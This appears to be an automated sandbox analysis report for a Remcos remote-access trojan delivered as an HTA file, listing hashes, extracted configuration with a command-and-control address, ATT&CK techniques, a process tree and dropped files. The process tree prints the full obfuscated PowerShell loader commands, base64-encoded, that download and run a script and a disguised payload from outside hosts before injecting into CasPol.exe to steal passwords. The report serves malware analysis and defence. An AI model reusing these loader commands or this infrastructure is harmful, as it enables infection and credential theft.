remcos | a46ea1e4766c89b34c82354c215e4a27c11cb53886ace74f78af8655dfa09fab

Analysis

max time kernel
148s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
31-01-2025 07:02

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General

Target

wegivenbestthngsforbestgirlfriendwhobestforentiretime.hta
Size

15KB
MD5

b6bca63d34e72f931db79e9b7af61d21
SHA1

b9bb3c1c502d31bd3fdb1841d312c2fa5bab4caf
SHA256

a46ea1e4766c89b34c82354c215e4a27c11cb53886ace74f78af8655dfa09fab
SHA512

acce0debf2b8dfa9bc06c1c317cc3491d61c7ca48607c614a95674454bc3a5fb8a1f8d898bb40d517272643af63aae3e06cedd76432cf2c8da6ab905c0c0d6ea
SSDEEP

48:3hMuVfhMLVfu4TArxprC+cAZSnRyxm6SMkMMf2M2VfmMTG:heFTArxVncWSWSjAo

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

216.9.226.100:3898

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
mic
mouse_option
false
mutex
Rmc-Q9T2QD
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4004-105-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3548-107-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1592-103-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1592-103-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4004-105-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
13	3544	powershell.exe
16	2736	powershell.exe
17	2736	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
3544	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1121399784-3202166597-3503557106-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2736 set thread context of 2780	2736	powershell.exe	94
PID 2780 set thread context of 4004	2780	CasPol.exe	95
PID 2780 set thread context of 1592	2780	CasPol.exe	96
PID 2780 set thread context of 3548	2780	CasPol.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3544	powershell.exe
3544	powershell.exe
2736	powershell.exe
2736	powershell.exe
4004	CasPol.exe
4004	CasPol.exe
4004	CasPol.exe
4004	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2780	CasPol.exe
2780	CasPol.exe
2780	CasPol.exe
2780	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3544	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	3548	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2780	CasPol.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 924	3008	mshta.exe	85
PID 3008 wrote to memory of 924	3008	mshta.exe	85
PID 3008 wrote to memory of 924	3008	mshta.exe	85
PID 924 wrote to memory of 3544	924	cmd.exe	87
PID 924 wrote to memory of 3544	924	cmd.exe	87
PID 924 wrote to memory of 3544	924	cmd.exe	87
PID 3544 wrote to memory of 5072	3544	powershell.exe	89
PID 3544 wrote to memory of 5072	3544	powershell.exe	89
PID 3544 wrote to memory of 5072	3544	powershell.exe	89
PID 5072 wrote to memory of 2956	5072	csc.exe	90
PID 5072 wrote to memory of 2956	5072	csc.exe	90
PID 5072 wrote to memory of 2956	5072	csc.exe	90
PID 3544 wrote to memory of 3648	3544	powershell.exe	91
PID 3544 wrote to memory of 3648	3544	powershell.exe	91
PID 3544 wrote to memory of 3648	3544	powershell.exe	91
PID 3648 wrote to memory of 2736	3648	WScript.exe	92
PID 3648 wrote to memory of 2736	3648	WScript.exe	92
PID 3648 wrote to memory of 2736	3648	WScript.exe	92
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2736 wrote to memory of 2780	2736	powershell.exe	94
PID 2780 wrote to memory of 4004	2780	CasPol.exe	95
PID 2780 wrote to memory of 4004	2780	CasPol.exe	95
PID 2780 wrote to memory of 4004	2780	CasPol.exe	95
PID 2780 wrote to memory of 4004	2780	CasPol.exe	95
PID 2780 wrote to memory of 1592	2780	CasPol.exe	96
PID 2780 wrote to memory of 1592	2780	CasPol.exe	96
PID 2780 wrote to memory of 1592	2780	CasPol.exe	96
PID 2780 wrote to memory of 1592	2780	CasPol.exe	96
PID 2780 wrote to memory of 4988	2780	CasPol.exe	97
PID 2780 wrote to memory of 4988	2780	CasPol.exe	97
PID 2780 wrote to memory of 4988	2780	CasPol.exe	97
PID 2780 wrote to memory of 3548	2780	CasPol.exe	98
PID 2780 wrote to memory of 3548	2780	CasPol.exe	98
PID 2780 wrote to memory of 3548	2780	CasPol.exe	98
PID 2780 wrote to memory of 3548	2780	CasPol.exe	98

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\wegivenbestthngsforbestgirlfriendwhobestforentiretime.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c poWerShELl -EX BYpASS -nop -W 1 -C DEVIcecREdEntIAlDePloYment.eXE ; INVOKe-eXPRESSIoN($(INvoKe-eXpreSsION('[SYSTEM.TEXt.ENCODiNg]'+[chaR]58+[CHaR]0X3A+'UTf8.getSTRiNg([sysTEM.CONVErT]'+[CHaR]58+[CHaR]0x3a+'frOmBASE64STRING('+[CHaR]34+'JE5nZUdPdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CZXJEZUZpTml0aU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpreUYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGU3hxSGZWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCQVMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJRaSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1BWICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROZ2VHT3U6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMTcuMTYwLjE2My4xMTMvNTUwL25pY2V3b3JraW5nc2tpbGxnaXZlbWViZXN0dGhpbmdzZm9yYm9vc3RiZXN0Zm9ybWVnaXZlbmJlc3RjaGFsbC5nSUYiLCIkRW5WOkFQUERBVEFcbmljZXdvcmtpbmdza2lsbGdpdmVtZWJlc3R0aGluZ3Nmb3Jib29zdGJlc3Rmb3JtZWdpdmVuYmVzdGMudmJzIiwwLDApO1NUQVJULVNsZWVQKDMpO0lOVk9LRS1lWFByZXNzSW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNld29ya2luZ3NraWxsZ2l2ZW1lYmVzdHRoaW5nc2ZvcmJvb3N0YmVzdGZvcm1lZ2l2ZW5iZXN0Yy52YnMi'+[ChAr]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poWerShELl -EX BYpASS -nop -W 1 -C DEVIcecREdEntIAlDePloYment.eXE ; INVOKe-eXPRESSIoN($(INvoKe-eXpreSsION('[SYSTEM.TEXt.ENCODiNg]'+[chaR]58+[CHaR]0X3A+'UTf8.getSTRiNg([sysTEM.CONVErT]'+[CHaR]58+[CHaR]0x3a+'frOmBASE64STRING('+[CHaR]34+'JE5nZUdPdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CZXJEZUZpTml0aU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpreUYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGU3hxSGZWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCQVMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJRaSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1BWICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROZ2VHT3U6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMTcuMTYwLjE2My4xMTMvNTUwL25pY2V3b3JraW5nc2tpbGxnaXZlbWViZXN0dGhpbmdzZm9yYm9vc3RiZXN0Zm9ybWVnaXZlbmJlc3RjaGFsbC5nSUYiLCIkRW5WOkFQUERBVEFcbmljZXdvcmtpbmdza2lsbGdpdmVtZWJlc3R0aGluZ3Nmb3Jib29zdGJlc3Rmb3JtZWdpdmVuYmVzdGMudmJzIiwwLDApO1NUQVJULVNsZWVQKDMpO0lOVk9LRS1lWFByZXNzSW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNld29ya2luZ3NraWxsZ2l2ZW1lYmVzdHRoaW5nc2ZvcmJvb3N0YmVzdGZvcm1lZ2l2ZW5iZXN0Yy52YnMi'+[ChAr]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3544
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0s4ajtxi\0s4ajtxi.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5072
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8B67.tmp" "c:\Users\Admin\AppData\Local\Temp\0s4ajtxi\CSCA2A251BB9C38443E959F1F9C4FD014D9.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2956
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\niceworkingskillgivemebestthingsforboostbestformegivenbestc.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3648
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AcwBnAG4AaQBoAHQAZABvAG8AZwBwAHUAdAByAGEAdABzAHcAZQBuAHIAbwBmAHMAZwBuAGkAaAB0AHQAcwBlAGIAeQBtAGUAZQBzAC8AMAA1ADUALwAzADEAMQAuADMANgAxAC4AMAA2ADEALgA3ADEAMgAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADcANgA5ADYAMQA3ADEALwBoAGUAawBlADIAcABtAHQAZQB1AHcAOABzAHEAcwBwAGwAaABrAGwALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2736
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2780
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\yiaacgsygsdtqybwcn"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4004
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\akftdydacavybeximqvwme"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1592
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\leleerotqinldsmmdbhxxrjbm"
        7⤵
        
        PID:4988
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\leleerotqinldsmmdbhxxrjbm"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\mic\logs.dat

Filesize
102B

MD5
09ef81720211c91a3526e1467aaa8a1d

SHA1
318f45dc8f9a92732d3e4a3b14bce82a2a8b4c37

SHA256
ee3080384af385fea701514ef4a4bc1cd5d8f11b70c125146d90828b78da097d

SHA512
ec2d587d7947bfb3a3cb1c158a28c6f7a850273ebb414d12e9cfbf85f5aec5be88cf6d7ae361b7584db138a318d6686f52546415aded702e5d7ae05f03faed6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
a05e8d6c4bf99b24f9c74e0d24669360

SHA1
11fbb75bb3dbb1addfbcb119961470846861dacb

SHA256
26b14c8a6f8c842a6a4f437a9e4fc54ec24ffebad84660020cf194e849b72bca

SHA512
51e5d66f20a6c3c843c1f151d687240265503281aa57072876ed1e3d98299ed33ff7e5292b01983c32b7cc8a7f6b1e0fc9d726f8deb78a206e631175bc2bf82e

Download Submit
C:\Users\Admin\AppData\Local\Temp\0s4ajtxi\0s4ajtxi.dll

Filesize
3KB

MD5
b5928799c923fed9649b4752d8cf0017

SHA1
6664c78036b1fea6edf90ecc8669c226e3c4be85

SHA256
ade9b179bad11887455049fe0e16315973f7ea9c9194a45f3e603f53de411381

SHA512
9793de9817ac8da6869e3f1282b534debc788f4c8ecf716904f26b52cd061f3e5a7b0beed9bfaf3c57422aa293b2e0c28952f75a334395806bbf53583e5e64ad

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8B67.tmp

Filesize
1KB

MD5
0fdeb8451dbc5ea182bbbbb522d799ce

SHA1
c64ab8b8cdcd7422a7f234b842b92b70e83c1520

SHA256
fc0410c8b627ce90cf0bcaa3be0f0d230fa0d271bd79aa22e02754c4ccd20ad6

SHA512
e5a6f1fce483f6b5212c08ae89e932a203a8e34e8c1a244a64b4530cdd775b11abc8a39a2feaad8089956f8e9b8f83a073559860ee86c1f7500ec45ed96b2110

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ascyeidu.hjl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\yiaacgsygsdtqybwcn

Filesize
4KB

MD5
9692557b6cb140cfd24cc675484da561

SHA1
219b44afdf0f21474c5de5209f809fb6380aafaf

SHA256
def2df7a49987ed2dd1126644c208a922251f240ff4151434747cc7f37b72f86

SHA512
6923b8800538b76855e7ae9f27a5eab0a5697664755cf1c58db7f39bc8a136274eac67b87c33d2b51d554e1422855dc8365731c5b65599c802f28773149f7d3f

Download Submit
C:\Users\Admin\AppData\Roaming\niceworkingskillgivemebestthingsforboostbestformegivenbestc.vbs

Filesize
223KB

MD5
0f3025d4d5a84125b6976beadc384ba6

SHA1
00f8ef347fac607094499a75102a0f330bd61ae1

SHA256
ecbd9b07289801b665dbd8822fe23248e816033fe5791f227f81b13f01645182

SHA512
3528872018fd7b511d93bfb0a82043c45b076b7bc197a1b66e42d76d775a032875640793494491f8c609aa6c0410c32f88fa0b2f339bd59ed166eed0c77cb211

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0s4ajtxi\0s4ajtxi.0.cs

Filesize
455B

MD5
d8cdd711e8e78d09c6cc1ab48e24dd50

SHA1
5cb77a53a82f93db5edd021d706f986dd504005a

SHA256
c2c29865844c4fea1dcecd5de4489dbb084ddda0720ecd40cf1bfc76f50c37f8

SHA512
66814498882b10126c2d5abdf4b223c4d37a2432b1d315dbcde5a65cb7f121f36be0a57a40467ab8b43f800f13a0dd7038002f09fa09e83183cde110296e4635

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0s4ajtxi\0s4ajtxi.cmdline

Filesize
369B

MD5
a9f2fed04c8988e31b3cbb73f56c2739

SHA1
1eb5799bf9499c197a2d02a7d3b4a36d9adea7a2

SHA256
e893b36e770785575a8c2487f95f7641c84f5bbaca68212348e3bf4987e6d869

SHA512
9e9568f2a1c5b43b6078d62cca1a38c2239fa47d7bb7f446b5a66d6c15eafe8c19b0f99d1fe3a27e283484370a0dfeb5278a85afbef6510e06ec00fe44e67c00

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\0s4ajtxi\CSCA2A251BB9C38443E959F1F9C4FD014D9.TMP

Filesize
652B

MD5
575e24834e78d3d1f28cf7e86d266665

SHA1
a4af8863ca83603c722ea2911db9364791386443

SHA256
1d417ecdbc513ac5616b9f8b0e0fc3dd6ec104139a1a40ad7e00ecda1f8ebc25

SHA512
2be7ad9549e29532cd66e99198df3965856fa3b54fb953534cd489999679110fd28490a07ea188624d19ff72d59a971e3a8f0737dedfd9429dc9e4d97adbbd8b

Download Submit
memory/1592-102-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1592-103-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1592-100-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2736-82-0x0000000005490000-0x00000000054A4000-memory.dmp

Filesize
80KB

Download
memory/2736-84-0x0000000007C60000-0x0000000007CFC000-memory.dmp

Filesize
624KB

Download
memory/2736-83-0x00000000054C0000-0x00000000054C6000-memory.dmp

Filesize
24KB

